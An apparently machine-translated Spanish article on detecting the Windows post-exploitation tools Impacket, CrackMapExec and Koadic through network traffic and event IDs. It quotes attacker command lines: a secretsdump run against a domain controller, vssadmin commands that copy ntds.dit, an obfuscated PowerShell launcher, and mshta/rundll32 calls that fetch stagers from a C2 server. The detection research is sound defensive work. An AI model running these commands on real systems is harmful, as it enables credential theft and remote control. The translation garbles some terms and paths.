Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers

El número de ataques en el sector empresarial crece cada año: por ejemplo en 2017 se registraron un 13% más de incidentes únicos que en 2016, y a finales de 2018 - 27% más incidentesque en el período anterior. Incluidos aquellos donde la principal herramienta de trabajo es el sistema operativo Windows. En 2017-2018, el APT Dragonfly, APT28, APT agua fangosa llevó a cabo ataques contra organizaciones gubernamentales y militares en Europa, América del Norte y Arabia Saudita. Y utilizamos tres herramientas para esto: paquete de impacto, CrackMapExec и Koádic. Su código fuente está abierto y disponible en GitHub.

Vale la pena señalar que estas herramientas no se utilizan para la penetración inicial, sino para desarrollar un ataque dentro de la infraestructura. Los atacantes los utilizan en diferentes etapas del ataque tras la penetración del perímetro. Esto, por cierto, es difícil de detectar y muchas veces sólo con la ayuda de la tecnología. identificar rastros de compromiso en el tráfico de la red o herramientas que permitan detectar acciones activas de un atacante después de que haya penetrado la infraestructura. Las herramientas proporcionan una variedad de funciones, desde transferir archivos hasta interactuar con el registro y ejecutar comandos en una máquina remota. Realizamos un estudio de estas herramientas para determinar su actividad en la red.

Lo que necesitábamos hacer:

  • Comprenda cómo funcionan las herramientas de piratería. Descubra qué deben explotar los atacantes y qué tecnologías pueden utilizar.
  • Encuentre lo que no detectan las herramientas de seguridad de la información en las primeras etapas de un ataque. La fase de reconocimiento puede omitirse, ya sea porque el atacante es un atacante interno o porque está explotando un agujero en la infraestructura que no se conocía anteriormente. Se hace posible restaurar toda la cadena de sus acciones, de ahí el deseo de detectar más movimientos.
  • Elimine los falsos positivos de las herramientas de detección de intrusiones. No debemos olvidar que cuando se detectan determinadas acciones basándose únicamente en el reconocimiento, es posible que se produzcan errores frecuentes. Por lo general, en la infraestructura hay un número suficiente de formas, a primera vista indistinguibles de las legítimas, para obtener cualquier información.

¿Qué ofrecen estas herramientas a los atacantes? Si se trata de Impacket, los atacantes reciben una gran biblioteca de módulos que pueden usarse en diferentes etapas del ataque que siguen después de romper el perímetro. Muchas herramientas utilizan módulos Impacket internamente, por ejemplo, Metasploit. Tiene dcomexec y wmiexec para la ejecución remota de comandos, secretsdump para obtener cuentas de la memoria agregadas desde Impacket. Como resultado, la detección correcta de la actividad de dicha biblioteca garantizará la detección de derivados.

No es casualidad que los creadores escribieran "Desarrollado por Impacket" sobre CrackMapExec (o simplemente CME). Además, CME tiene funciones listas para usar para escenarios populares: Mimikatz para obtener contraseñas o sus hashes, implementación de Meterpreter o Empire Agent para ejecución remota y Bloodhound a bordo.

La tercera herramienta que elegimos fue Koadic. Es bastante reciente, se presentó en la conferencia internacional de hackers DEFCON 25 en 2017 y se distingue por un enfoque no estándar: funciona a través de HTTP, Java Script y Microsoft Visual Basic Script (VBS). Este enfoque se llama vivir de la tierra: la herramienta utiliza un conjunto de dependencias y bibliotecas integradas en Windows. Los creadores lo llaman COM Command & Control o C3.

IMPACTO

La funcionalidad de Impacket es muy amplia y abarca desde el reconocimiento dentro de AD y la recopilación de datos de servidores MS SQL internos hasta técnicas para obtener credenciales: se trata de un ataque de retransmisión SMB y la obtención del archivo ntds.dit que contiene hashes de contraseñas de usuario de un controlador de dominio. Impacket también ejecuta comandos de forma remota utilizando cuatro métodos diferentes: WMI, Windows Scheduler Management Service, DCOM y SMB, y requiere credenciales para hacerlo.

volcado de secretos

Echemos un vistazo a secretsdump. Este es un módulo que puede apuntar tanto a máquinas de usuarios como a controladores de dominio. Se puede utilizar para obtener copias de las áreas de memoria LSA, SAM, SECURITY, NTDS.dit, por lo que se puede ver en diferentes etapas del ataque. El primer paso en el funcionamiento del módulo es la autenticación a través de SMB, que requiere la contraseña del usuario o su hash para llevar a cabo automáticamente el ataque Pass the Hash. Luego viene una solicitud para abrir el acceso al Administrador de control de servicios (SCM) y obtener acceso al registro a través del protocolo winreg, mediante el cual un atacante puede encontrar los datos de las ramas de interés y obtener resultados a través de SMB.

En la Fig. 1 vemos cómo exactamente cuando se utiliza el protocolo winreg, el acceso se obtiene mediante una clave de registro con un LSA. Para hacer esto, use el comando DCERPC con el código de operación 15 - OpenKey.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 1. Abrir una clave de registro utilizando el protocolo winreg

A continuación, cuando se obtiene acceso a la clave, los valores se guardan con el comando SaveKey con el código de operación 20. Impacket hace esto de una manera muy específica. Guarda los valores en un archivo cuyo nombre es una cadena de 8 caracteres aleatorios a los que se añade .tmp. Además, la carga adicional de este archivo se realiza a través de SMB desde el directorio System32 (Fig. 2).

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 2. Esquema para obtener una clave de registro de una máquina remota

Resulta que dicha actividad en la red se puede detectar mediante consultas a determinadas ramas del registro utilizando el protocolo winreg, nombres específicos, comandos y su orden.

Este módulo también deja rastros en el registro de eventos de Windows, lo que facilita su detección. Por ejemplo, como resultado de ejecutar el comando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

En el registro de Windows Server 2016 veremos la siguiente secuencia clave de eventos:

1. 4624 - Inicio de sesión remoto.
2. 5145 - verificación de derechos de acceso al servicio remoto winreg.
3. 5145: verificación de los derechos de acceso a archivos en el directorio System32. El archivo tiene el nombre aleatorio mencionado anteriormente.
4. 4688: creación de un proceso cmd.exe que inicia vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - creando un proceso con el comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - creando un proceso con el comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - creando un proceso con el comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Como muchas herramientas posteriores a la explotación, Impacket tiene módulos para ejecutar comandos de forma remota. Nos centraremos en smbexec, que proporciona un shell de comandos interactivo en una máquina remota. Este módulo también requiere autenticación vía SMB, ya sea con contraseña o hash de contraseña. En la Fig. En la Figura 3 vemos un ejemplo de cómo funciona dicha herramienta, en este caso es la consola de administrador local.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 3. Consola smbexec interactiva

El primer paso de smbexec después de la autenticación es abrir SCM con el comando OpenSCManagerW (15). La consulta es notable: el campo MachineName es DUMMY.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 4. Solicitud para abrir el Administrador de control de servicios

A continuación, el servicio se crea utilizando el comando CreateServiceW (12). En el caso de smbexec, podemos ver siempre la misma lógica de construcción de comandos. En la Fig. 5 verde indica parámetros de comando que no se pueden cambiar, el amarillo indica lo que un atacante puede cambiar. Es fácil ver que el nombre del archivo ejecutable, su directorio y el archivo de salida se pueden cambiar, pero el resto es mucho más difícil de cambiar sin alterar la lógica del módulo Impacket.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 5. Solicitud para crear un servicio utilizando Service Control Manager

Smbexec también deja rastros obvios en el registro de eventos de Windows. En el registro de Windows Server 2016 para el shell de comandos interactivo con el comando ipconfig, veremos la siguiente secuencia clave de eventos:

1. 4697 — instalación del servicio en la máquina de la víctima:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - creación del proceso cmd.exe con los argumentos del punto 1.
3. 5145 - verificando los derechos de acceso al archivo __output en el directorio C$.
4. 4697 — instalación del servicio en la máquina de la víctima.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - creación del proceso cmd.exe con los argumentos del punto 4.
6. 5145 - verificando los derechos de acceso al archivo __output en el directorio C$.

Impacket es la base para el desarrollo de herramientas de ataque. Es compatible con casi todos los protocolos de la infraestructura de Windows y al mismo tiempo tiene sus propias características. Aquí se muestran solicitudes winreg específicas y el uso de la API SCM con la formación de comandos característica, el formato del nombre del archivo y el recurso compartido SMB SYSTEM32.

CRACKMAPEXEC

La herramienta CME está diseñada principalmente para automatizar aquellas acciones rutinarias que un atacante debe realizar para avanzar dentro de la red. Le permite trabajar en conjunto con el conocido agente Empire y Meterpreter. Para ejecutar comandos de forma encubierta, CME puede ofuscarlos. Utilizando Bloodhound (una herramienta de reconocimiento independiente), un atacante puede automatizar la búsqueda de una sesión de administrador de dominio activa.

Sabueso

Bloodhound, como herramienta independiente, permite un reconocimiento avanzado dentro de la red. Recopila datos sobre usuarios, máquinas, grupos, sesiones y se suministra como un script de PowerShell o un archivo binario. Se utilizan protocolos basados ​​en LDAP o SMB para recopilar información. El módulo de integración CME permite descargar Bloodhound en la máquina de la víctima, ejecutarlo y recibir los datos recopilados después de la ejecución, automatizando así las acciones en el sistema y haciéndolas menos notorias. El shell gráfico de Bloodhound presenta los datos recopilados en forma de gráficos, lo que le permite encontrar la ruta más corta desde la máquina del atacante hasta el administrador del dominio.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 6. Interfaz de sabueso

Para ejecutarse en la máquina de la víctima, el módulo crea una tarea usando ATSVC y SMB. ATSVC es una interfaz para trabajar con el Programador de tareas de Windows. CME utiliza su función NetrJobAdd(1) para crear tareas a través de la red. Un ejemplo de lo que envía el módulo CME se muestra en la Fig. 7: Esta es una llamada de comando cmd.exe y código ofuscado en forma de argumentos en formato XML.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Fig.7. Crear una tarea a través de CME

Una vez enviada la tarea para su ejecución, la máquina de la víctima inicia Bloodhound y esto se puede ver en el tráfico. El módulo se caracteriza por consultas LDAP para obtener grupos estándar, una lista de todas las máquinas y usuarios en el dominio y obtener información sobre sesiones de usuarios activas a través de la solicitud SRVSVC NetSessEnum.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 8. Obtención de una lista de sesiones activas vía SMB

Además, el inicio de Bloodhound en la máquina de una víctima con la auditoría habilitada va acompañado de un evento con ID 4688 (creación de proceso) y el nombre del proceso. «C:WindowsSystem32cmd.exe». Lo notable son los argumentos de la línea de comando:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

El módulo enum_avproducts es muy interesante desde el punto de vista de funcionalidad e implementación. WMI le permite utilizar el lenguaje de consulta WQL para recuperar datos de varios objetos de Windows, que es esencialmente lo que utiliza este módulo CME. Genera consultas a las clases AntiSpywareProduct y AntiМirusProduct sobre las herramientas de protección instaladas en la máquina de la víctima. Para obtener los datos necesarios, el módulo se conecta al espacio de nombres rootSecurityCenter2, luego genera una consulta WQL y recibe una respuesta. En la Fig. La Figura 9 muestra el contenido de dichas solicitudes y respuestas. En nuestro ejemplo, se encontró Windows Defender.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 9. Actividad de red del módulo enum_avproducts

A menudo, la auditoría WMI (Trace WMI-Activity), en cuyos eventos puede encontrar información útil sobre consultas WQL, puede estar deshabilitada. Pero si está habilitado, si se ejecuta el script enum_avproducts, se guardará un evento con ID 11. Contendrá el nombre del usuario que envió la solicitud y el nombre en el espacio de nombres rootSecurityCenter2.

Cada uno de los módulos CME tenía sus propios artefactos, ya sean consultas WQL específicas o la creación de un cierto tipo de tarea en un programador de tareas con ofuscación y actividad específica de Bloodhound en LDAP y SMB.

KOADIC

Una característica distintiva de Koadic es el uso de intérpretes JavaScript y VBScript integrados en Windows. En este sentido, sigue la tendencia de vivir de la tierra, es decir, no tiene dependencias externas y utiliza herramientas estándar de Windows. Se trata de una herramienta de Comando y Control total (CnC), ya que tras la infección se instala un “implante” en la máquina que permite controlarla. Una máquina así, en terminología Koadic, se llama “zombi”. Si no hay privilegios suficientes para el funcionamiento completo por parte de la víctima, Koadic tiene la capacidad de aumentarlos utilizando técnicas de omisión del Control de cuentas de usuario (omisión UAC).

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 10. Concha Koádica

La víctima debe iniciar la comunicación con el servidor de Comando y Control. Para hacer esto, necesita contactar una URI previamente preparada y recibir el cuerpo principal de Koadic usando uno de los stagers. En la Fig. La Figura 11 muestra un ejemplo del mshta stager.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 11. Inicializando una sesión con el servidor CnC

Según la variable de respuesta WS, queda claro que la ejecución se produce a través de WScript.Shell, y las variables STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contienen información clave sobre los parámetros de la sesión actual. Este es el primer par solicitud-respuesta en una conexión HTTP con un servidor CnC. Las solicitudes posteriores están directamente relacionadas con la funcionalidad de los módulos llamados (implantes). Todos los módulos Koadic funcionan únicamente con una sesión activa con CnC.

Mimikatz

Así como CME trabaja con Bloodhound, Koadic trabaja con Mimikatz como un programa separado y tiene múltiples formas de iniciarlo. A continuación se muestra un par de solicitud-respuesta para descargar el implante Mimikatz.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 12. Transferir Mimikatz a Koadic

Puede ver cómo ha cambiado el formato de URI en la solicitud. Ahora contiene un valor para la variable csrf, que es responsable del módulo seleccionado. No prestes atención a su nombre; Todos sabemos que CSRF generalmente se entiende de manera diferente. La respuesta fue el mismo cuerpo principal de Koadic, al que se añadió código relacionado con Mimikatz. Es bastante grande, así que veamos los puntos clave. Aquí tenemos la biblioteca Mimikatz codificada en base64, una clase .NET serializada que la inyectará y argumentos para iniciar Mimikatz. El resultado de la ejecución se transmite a través de la red en texto claro.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 13. Resultado de ejecutar Mimikatz en una máquina remota

ejecutivo_cmd

Koadic también cuenta con módulos que pueden ejecutar comandos de forma remota. Aquí veremos el mismo método de generación de URI y las familiares variables sid y csrf. En el caso del módulo exec_cmd, se agrega código al cuerpo que es capaz de ejecutar comandos de shell. A continuación se muestra dicho código contenido en la respuesta HTTP del servidor CnC.

Cómo detectar ataques a la infraestructura de Windows: explorando herramientas de hackers
Arroz. 14. Implantar código exec_cmd

La variable GAWTUUGCFI con el conocido atributo WS es necesaria para la ejecución del código. Con su ayuda, el implante llama al shell y procesa dos ramas de código: shell.exec con el retorno del flujo de datos de salida y shell.run sin retorno.

Koadic no es una herramienta típica, pero tiene sus propios artefactos mediante los cuales se puede encontrar en el tráfico legítimo:

  • formación especial de solicitudes HTTP,
  • utilizando la API winHttpRequests,
  • creando un objeto WScript.Shell a través de ActiveXObject,
  • gran cuerpo ejecutable.

La conexión inicial la inicia el stager, por lo que es posible detectar su actividad a través de eventos de Windows. Para mshta, este es el evento 4688, que indica la creación de un proceso con el atributo de inicio:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Mientras Koadic se ejecuta, puedes ver otros eventos 4688 con atributos que lo caracterizan perfectamente:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Hallazgos

La tendencia de vivir de la tierra está ganando popularidad entre los delincuentes. Utilizan las herramientas y mecanismos integrados en Windows para sus necesidades. Estamos viendo que las herramientas populares Koadic, CrackMapExec e Impacket que siguen este principio aparecen cada vez más en los informes de APT. El número de bifurcaciones en GitHub para estas herramientas también está creciendo y están apareciendo otras nuevas (ya hay alrededor de mil). La tendencia está ganando popularidad debido a su simplicidad: los atacantes no necesitan herramientas de terceros; ya están en las máquinas de las víctimas y les ayudan a eludir las medidas de seguridad. Nos centramos en estudiar la comunicación en red: cada herramienta descrita anteriormente deja sus propios rastros en el tráfico de la red; el estudio detallado de los mismos nos permitió enseñar nuestro producto Descubrimiento de ataques a la red PT detectarlos, lo que en última instancia ayuda a investigar toda la cadena de incidentes cibernéticos que los involucran.

Autores:

  • Anton Tyurin, Jefe del Departamento de Servicios Expertos, Centro de Seguridad Experto PT, Tecnologías Positivas
  • Egor Podmokov, experto, Centro de seguridad de expertos PT, Tecnologías positivas

Fuente: habr.com

Añadir un comentario